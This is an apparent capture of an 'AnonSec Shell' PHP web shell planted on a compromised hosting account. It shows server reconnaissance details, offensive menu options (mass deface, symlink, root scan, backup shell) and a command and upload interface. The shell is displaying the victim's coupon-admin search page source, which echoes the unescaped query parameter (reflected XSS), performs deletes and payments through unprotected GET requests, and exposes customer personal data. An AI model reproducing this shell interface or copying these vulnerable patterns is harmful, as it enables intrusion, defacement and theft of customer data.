. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146   [ Reverse IP ]
Web Server : Apache
System : Linux webm002.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : dealkatnwc ( 662330)
PHP Version : 7.0.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/dealkatnwc/www/GDEAL/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/dealkatnwc/www/GDEAL/pages/recherche.php
<?php
include 'class/utilisateur.class.php';
include 'class/coupon.class.php';

?>

<!DOCTYPE html>
<html lang="en">

<head>
<?php include 'header.php';?>
</head>

<body>

    <div id="wrapper">
<?php include 'menu.php'; ?>
<?php if (!(he_can('RECHERCHE'))) {echo "<script>location.href = '403.php';</script>";}?>
<?php
$managerCou = new CouponManager($db);
$message ='';
$class_msg='';
if (isset($_GET['msg']))
{
switch ($_GET['msg']) {
    case 1:$message = "<i class='fas fa-trash' aria-hidden='true'></i>&nbsp;Le coupon à été supprimée!";$class_msg="alert alert-danger";break;
    case 2:$message = "<i class='fas fa-envelope-open-text' aria-hidden='true'></i>&nbsp;Le client a été informé sur le coupon par mail";$class_msg="alert alert-success";break;
    case 3:$message = "<i class='far fa-envelope' aria-hidden='true'></i>&nbsp;Erreur lors de l'envoi mail";$class_msg="alert alert-danger";break;
    case 4:$message = "<i class='fas fa-hand-holding-usd' aria-hidden='true'></i>&nbsp;Le Paiemenet est validée.";$class_msg="alert alert-success";break;
    case 5:$message = "<i class='fas fa-thumbs-up' aria-hidden='true'></i>&nbsp;Coupon reçu avec succès.";$class_msg="alert alert-success";break;

		}		
		
if (($_GET['msg']== 4)&&(isset($_GET['c'])))
	{
	$coupon = $managerCou->get((int) $_GET['c']);		   	
	$class_msg="alert alert-success";
	
	$message .= "<b>Coupon ajouter. <br> Le numéro de commande est ".$coupon->code_cmd().". </b>";
    $message .="<a type='button' href='".$coupon_dir."coupon-pdf.php?id_coup=".$_GET['c']."'' target='_blanc' class='btn btn-info'><i class='fas fa-print'></i> Imprimer</a>";
	}		
		
}

	


$managerCou = new CouponManager($db);
$managerCou->nettoyage();

// if (isset($_GET['statut'])) {$libelle = "Liste de toutes les ".$statut_code[$_GET['statut']]."s";$liste = $utman->getList($_GET['statut']);}

//////////////////  traitement  des action sur les coupons
if ((isset($_GET['id']))&&(isset($_GET['op'])))
{
    if ($_GET['op'] == 'delete')
    {$managerCou->delete((int) $_GET['id']);
     // header('Location: '.$_SERVER['PHP_SELF'].'?msg=1');exit();
	 echo '<script language="javascript">window.location.href = "'.$_SERVER['PHP_SELF'].'?msg=1"</script>';
	}
	
	if ($_GET['op'] == 'mail')
    {$r = $managerCou->notif_mail((int) $_GET['id']);
	if ($r) {
		// header('Location: '.$_SERVER['PHP_SELF'].'?msg=2');exit();
		echo '<script language="javascript">window.location.href = "'.$_SERVER['PHP_SELF'].'?msg=2"</script>';
		}
	else {
		// header('Location: '.$_SERVER['PHP_SELF'].'?msg=3');exit();
		echo '<script language="javascript">window.location.href = "'.$_SERVER['PHP_SELF'].'?msg=3"</script>';
		} 
	}
	
	if ($_GET['op'] == 'Payee')
    {    
        $maj = array();
		$maj['id']=(int) $_GET['id'];
		$maj['date_coupon'] = time();
		$maj['id_vendeur'] = $_SESSION['GDEAL']['user']['id'];
		$maj['etat']=5;
		$managerCou->update($maj);
		$managerCou->maj_nb_achteurs($_GET['deal_id'],$_GET['quantite']);

		// var_dump($maj);
        // header('Location: '.$_SERVER['PHP_SELF'].'?msg=4&c='.$maj['id']);exit();
		echo '<script language="javascript">window.location.href = "'.$_SERVER['PHP_SELF'].'?msg=4&c='.$maj['id'].'"</script>';
	}

	if ($_GET['op'] == 'Recu')
    {    
        $maj = array();
		$maj['id']=(int) $_GET['id'];
		$maj['recu'] = time();
		$managerCou->update($maj);

		// var_dump($maj);
        // header('Location: '.$_SERVER['PHP_SELF'].'?msg=5');exit();
		echo '<script language="javascript">window.location.href = "'.$_SERVER['PHP_SELF'].'?msg=5'.'"</script>';
	}
}

$listeCou = $managerCou->getListTab('QUERY',@$_GET['query']);
$libelle = "Recherche";

?>

        <!-- Page Content -->
        <div id="page-wrapper">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12">
                        <h1 class="page-header">Recherche</h1>
                    </div>
<ul class="nav nav-tabs hidden-print" role="tablist">
    <li role="presentation" class="active"><a href="#deal" aria-controls="deal" role="tab" data-toggle="tab">Recherche de <span class="asteriskField"><?php echo @$_GET['query'];?></span></a></li>
</ul>

<div class="tab-content">
	<div role="tabpanel" class="tab-pane fade in active" id="deal">
				<div class="row hidden-print">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                        </div>
                        <div class="panel-body">

                                <table class="table table-striped">
									<form name='frm' id='frm' action='' method='get'>
                                    <tbody>
										<tr>
                                            <th> 
																						 
												<div class="input-group">
												  <input type="text" name="query" class="form-control" value="<?php echo @$_GET['query'];?>" placeholder="Recherche de..." pattern="^[a-zA-ZÀ-ÿ0-9_-., ]{3,70}$" title="Mot à rechercher" required>
												  <span class="input-group-btn">
													<button class="btn btn-primary" type="submit" ><i class="fas fa-search"></i> Trouver</button>
												  </span>
												</div>	
                                            <span style="font-weight: normal;font-style: italic;font-size: 11px;">  Recherche sur l'id, N°Cmd, nom prénom tél du dealer</span>												
											</th>
                                        </tr>	
									
                                    </tbody>
                                    </form>
                                </table>
								
                        </div>
                          <!-- /.table-responsive -->
                        </div>
        
                    </div>
                </div>
      </div>			
</div>				
									
                    <!-- /.col-lg-12 -->
                </div>
                <!-- /.row -->
			<?php if (isset($_GET['query'])){ ?>				
				            <!-- /.row -->
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                            <?php echo $libelle;?>
                        </div>
                        <!-- /.panel-heading -->
                        <div class="panel-body">
									<?php
										 if ($message !='')			
										 {echo '<div class="'.$class_msg.'" role="alert"><i class="fas fa-exclamation-circle"></i> '.$message.'</div>';}
									?>
                            <div class="dataTable_wrapper">
                                <table class="table table-striped table-bordered table-hover" id="dataTables-user"  cellspacing="0" width="100%">
                                    <thead>
                                        <tr>
                                            <th width='14%'>N° Cmd</th>
                                            <th width='20%'>Titre</th>
                                            <th width='8%'>Prix</th>
                                            <th>Dealer</th>
                                            <th width='9%'>Vend.</th>
                                            <th width='14%'>Date</th>
                                            <th >Etat</th>
                                            <th width='7%'></th>
                                            <th>Opt</th>
                                        </tr>
                                    </thead>
                                    <tbody>
									<?php foreach ($listeCou as $cou) { 									
									foreach ($cou as $c => $i) {if (in_array($c, array("id","code_cmd","dealer_nom","dealer_prenom","dealer_tel","dealer_email","dealer_gouv"))){$cou[$c] = str_ireplace(@$_GET['query'],"<font color=red>".@$_GET['query']."</font>", $cou[$c]);}}
									?>
                                        <tr class="odd gradeX">
											<td class="center">
											<i class="fas fa-info-circle" data-toggle="tooltip" data-placement="bottom" title="<?php echo "Id : ".$cou['id'];?>">
											<?php echo $cou['code_cmd'];?>
											</i>
											</td>
											<td>
											<i class="fas fa-info-circle" data-toggle="tooltip" data-placement="bottom" title="<?php echo 'ID : '.$cou['deal_id'].'<br>'.$cou['titre'];?>">
											<?php echo "<a href='".$home."/?p=".$cou['deal_id']."' title='".$cou['titre']."' target='_blanc'>".mb_substr($cou['titre'],0, 20,'UTF-8')."...</a>";?>
											</td>
											<td><?php echo "<b>".$cou['prix']." <sup>Dt.</sup></b><sub>(x ".$cou['quantite'].")</sub>";?></td>
											<td >
											<?php $dealer_txt = $cou['dealer_nom']." ".$cou['dealer_prenom']."<br>".$cou['dealer_email']."<br>".$cou['dealer_tel']; ?>
											
											<?php echo "<a  class='' href='#' data-toggle='modal' data-target='#infoclt".$cou['id']."' title='Fiche Client'>";?>
											<i class="fas fa-television" data-toggle="tooltip" data-placement="bottom" title="<?php echo $dealer_txt;?>">
											<?php echo $cou['dealer_nom']." ".$cou['dealer_prenom']; ?>
											</i>	
											</a>													
											</td>
											<td>
											<i class="fas fa-info-circle" data-toggle="tooltip" data-placement="bottom" title="<?php echo "Id : ".$cou['vendeur_id'];?>">
											<?php echo $cou['vendeur_n'];?>
											</i>
											</td>	
											<td>
											<i class="fas fa-info-circle" data-toggle="tooltip" data-placement="bottom" title="<?php echo date("\à H:i:s", $cou['date_coupon']);?>">
											<?php echo date("d-m-Y", $cou['date_coupon']);?>
											</i>
											</td>	
											<td><?php echo $coupon_code[$cou['etat']];?></td>	
											<td>
											<?php
											$icon_etat = "";
											if ($cou['mailing']>0) $icon_etat .= "<i class='fas fa-envelope-open-text'></i>&nbsp;";
											else $icon_etat .= "<i class='far fa-envelope'></i>&nbsp;";

											if ($cou['recu']>0) $icon_etat .= "<i class='fas fa-thumbs-up'></i>";
											else $icon_etat .= "<i class='far fa-thumbs-up'></i>";
											
											echo $icon_etat;
											?>								
											</td>
											<td class="center">
											<!-- Single button -->
												<div class="btn-group">
												  <button type="button" class="btn btn-info btn-xs dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
													Option <span class="caret"></span>
												  </button>
												  <ul class="dropdown-menu">
													<li><a href="<?php echo $coupon_dir."coupon-pdf.php?id_coup=".$cou['id'];?>" target='_blanc'><i class="glyphicon glyphicon-print"></i> Imprimer</a></li>
													
													
													
															<form name='frmmail<?php echo $cou['id'];?>' id='frmmail<?php echo $cou['id'];?>' action='' method='get'>
															<?php
																echo "<input type='hidden' name='id' value = '".$cou['id']."'>";
																echo "<input type='hidden' name='op' value = 'mail'>";																
															?>
															</form>															
													<li><a onclick="if (confirm('Voulez vous vraiment Informer le client par mail sur ce coupon?')) {document.forms['frmmail<?php echo $cou['id'];?>'].submit(); return false;}" href="#"><i class="fas fa-envelope-open-text"></i> Mailing</a></li>
													
													
													
															<form name='frmpay<?php echo $cou['id'];?>' id='frmpay<?php echo $cou['id'];?>' action='mescoupons.php' method='get'>
															<?php
																echo "<input type='hidden' name='id' value = '".$cou['id']."'>";
																echo "<input type='hidden' name='quantite' value = '".$cou['quantite']."'>";
																echo "<input type='hidden' name='op' value = 'Payee'>";
																echo "<input type='hidden' name='deal_id' value = '".$cou['deal_id']."'>";																	
															?>
															</form>															
													<li><a onclick="if (confirm('Voulez vous vraiment valider le payement (quantite = <?php echo $cou['quantite'];?>) ?')) {document.forms['frmpay<?php echo $cou['id'];?>'].submit(); return false;}" href="#"><i class="fas fa-shopping-cart"></i> Paiement?</a></li>
													
													
															<form name='frmrecu<?php echo $cou['id'];?>' id='frmrecu<?php echo $cou['id'];?>' action='' method='get'>
															<?php
																echo "<input type='hidden' name='id' value = '".$cou['id']."'>";
																echo "<input type='hidden' name='op' value = 'Recu'>";																
															?>
															</form>															
													<li><a onclick="if (confirm('Avez vous recu ce coupon ?')) {document.forms['frmrecu<?php echo $cou['id'];?>'].submit(); return false;}" href="#"><i class="fas fa-thumbs-up"></i> Reçu?</a></li>
													
													
													
													<li role="separator" class="divider"></li>
															<form name='frmdel<?php echo $cou['id'];?>' id='frmdel<?php echo $cou['id'];?>' action='' method='get'>
															<?php
																echo "<input type='hidden' name='id' value = '".$cou['id']."'>";
																echo "<input type='hidden' name='op' value = 'delete'>";																
															?>
															</form>															
													<li><a onclick="if (confirm('Voulez vous vraiment supprimer ce coupon ( ID = <?php echo $cou['id'];?>)?')) {document.forms['frmdel<?php echo $cou['id'];?>'].submit(); return false;}" href="#"><i class="glyphicon glyphicon-remove"></i> Supprimer</a></li>
													         
												  </ul>
												</div>	
													
											</td>
                                        </tr>
									 <?php }?>
                                    </tbody>
                                </table>
                            </div>
                            <!-- /.table-responsive -->
 
                        </div>
                        <!-- /.panel-body -->
                    </div>
                    <!-- /.panel -->
                </div>
                <!-- /.col-lg-12 -->
            </div>
			<?php } ?>	
            </div>
            <!-- /.container-fluid -->
        </div>
        <!-- /#page-wrapper -->

    </div>
    <!-- /#wrapper -->
	<?php foreach ($listeCou as $cou) { ?>
									<div class="modal fade modal-primary" id="infoclt<?php echo $cou['id'];?>" data-easein="flipXIn" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
								  <div class="modal-dialog <?php echo $animated_open_effect[array_rand($animated_open_effect, 1)]; ?> animated modal-sm" role="document">
									<div class="modal-content">
									  <div class="modal-header">
										<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
										<h1 class="modal-title text-center" id="myModalLabel">
												Fiche Client									
										</h1>
									  </div>
									  <div class="modal-body">
										 	<table class="table table-condensed">
													<tbody>
														<tr>
															<th><i class="fas fa-user" aria-hidden="true"></i>
															<?php echo $cou['dealer_nom']." ".$cou['dealer_prenom']; ?></th>
														</tr>
														<tr>
															<th><i class="fas fa-phone-square" aria-hidden="true"></i>
															<?php echo $cou['dealer_tel'];?></th>
														</tr>
														<tr>
															<th><i class="fas fa-envelope-open-text" aria-hidden="true"></i>
															<?php echo $cou['dealer_email'];?></th>		
														</tr>
														<?php if ($cou['etat'] == 7){	?>
														<tr>
															<th><i class="fas fa-street-view" aria-hidden="true"></i>
															<?php echo $cou['addr'];?></th>		
														</tr> 
														<?php } ?>
														<?php
														$clt= array();
														if (strlen($cou['dealer_email']) > 5)
														{$clt = $managerCou->getInfoClt($cou['dealer_email']); ?>
														  
														<tr>
															<td><i class="fas fa-map-marker" aria-hidden="true"></i>
															<?php echo $clt['adr'];?></td>		
														</tr> 
														
														<tr>
															<td><i class="fas fa-address-card" aria-hidden="true"></i>
															<?php echo $clt['civilite'];?>, <?php echo $clt['gender'];?></td>		
														</tr>
														
														<tr>
															<td><i class="fas fa-calendar" aria-hidden="true"></i>
															<?php echo $clt['date_de_naissance'];?></td>		
														</tr>
														<?php }	?>
														<?php
														if (count($clt)== 0){ ?>
														<tr>
															<td>
															<div class="alert alert-danger">
															<span class="fa-stack fa-lg">
															  <i class="fas fa-user fa-stack-1x"></i>
															  <i class="fas fa-ban fa-stack-2x text-danger"></i>
															</span>
															Client Non Inscrit </div>
															</td>		
														</tr>
														<?php }	?>
														
														<tr>
															<th><i class="fas fa-external-link-square-alt" aria-hidden="true"></i> 
															
															<?php if (strlen($cou['dealer_email']) > 5){ ?><a target="_blanc" href="https://www.facebook.com/search/people/?q=<?php echo $cou['dealer_email'];?>"><i class="fab fa-facebook-square fa-2x"></i></a><?php } ?>
															<?php if (strlen($cou['dealer_tel']) > 5){ ?><a target="_blanc" href="https://www.facebook.com/search/people/?q=<?php echo $cou['dealer_tel'];?>"><i class="fab fa-facebook-square fa-2x" style="color: #fdbd32;"></i></a><?php } ?>
															
															
															</th>
														
														</tr>
													</tbody>
												</table>
									  </div>
									  <div class="modal-footer">
										<button type="button" class="btn btn-default" data-dismiss="modal">Fermer</button>
									  </div>
									</div>
								  </div>
								</div>
	<?php } ?>
	
    <!-- jQuery -->
    <script src="../bower_components/jquery/dist/jquery.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="../bower_components/bootstrap/dist/js/bootstrap.min.js"></script>

    <!-- Metis Menu Plugin JavaScript -->
    <script src="../bower_components/metisMenu/dist/metisMenu.min.js"></script>

    <!-- Custom Theme JavaScript -->
    <script src="../dist/js/sb-admin-2.js"></script>

	    <!-- Page-Level Demo Scripts - Tables - Use for reference -->

	
 <link href="../datatable/jquery.dataTables.css" rel="stylesheet">
 <link href="../datatable/responsive.dataTables.css" rel="stylesheet">
	

<script src="../datatable/jquery.dataTables.js"></script>	
<script src="../datatable/dataTables.responsive.js"></script>	
<script>
$(function () {
  $('[data-toggle="tooltip"]').tooltip({html: true})
})
$.extend( $.fn.dataTable.defaults, {
    responsive: true
} );
 
$(document).ready(function() {
    $('#dataTables-user').DataTable( {
	"order": [[ 0, "desc" ]],	
    "language": {
    "sProcessing":     "Traitement en cours...",
    "sSearch":         "Rechercher&nbsp;:",
    "sLengthMenu":     "Afficher _MENU_ &eacute;l&eacute;ments",
    "sInfo":           "Affichage de l'&eacute;l&eacute;ment _START_ &agrave; _END_ sur _TOTAL_ &eacute;l&eacute;ments",
    "sInfoEmpty":      "Affichage de l'&eacute;l&eacute;ment 0 &agrave; 0 sur 0 &eacute;l&eacute;ment",
    "sInfoFiltered":   "(filtr&eacute; de _MAX_ &eacute;l&eacute;ments au total)",
    "sInfoPostFix":    "",
    "sLoadingRecords": "Chargement en cours...",
    "sZeroRecords":    "Aucun &eacute;l&eacute;ment &agrave; afficher",
    "sEmptyTable":     "Aucune donn&eacute;e disponible dans le tableau",
    "oPaginate": {
        "sFirst":      "Premier",
        "sPrevious":   "Pr&eacute;c&eacute;dent",
        "sNext":       "Suivant",
        "sLast":       "Dernier"
    },
    "oAria": {
        "sSortAscending":  ": activer pour trier la colonne par ordre croissant",
        "sSortDescending": ": activer pour trier la colonne par ordre d&eacute;croissant"
    }
}
    } );
} );
	
</script>
    
    
</body>

</html>

Anon7 - 2022
AnonSec Team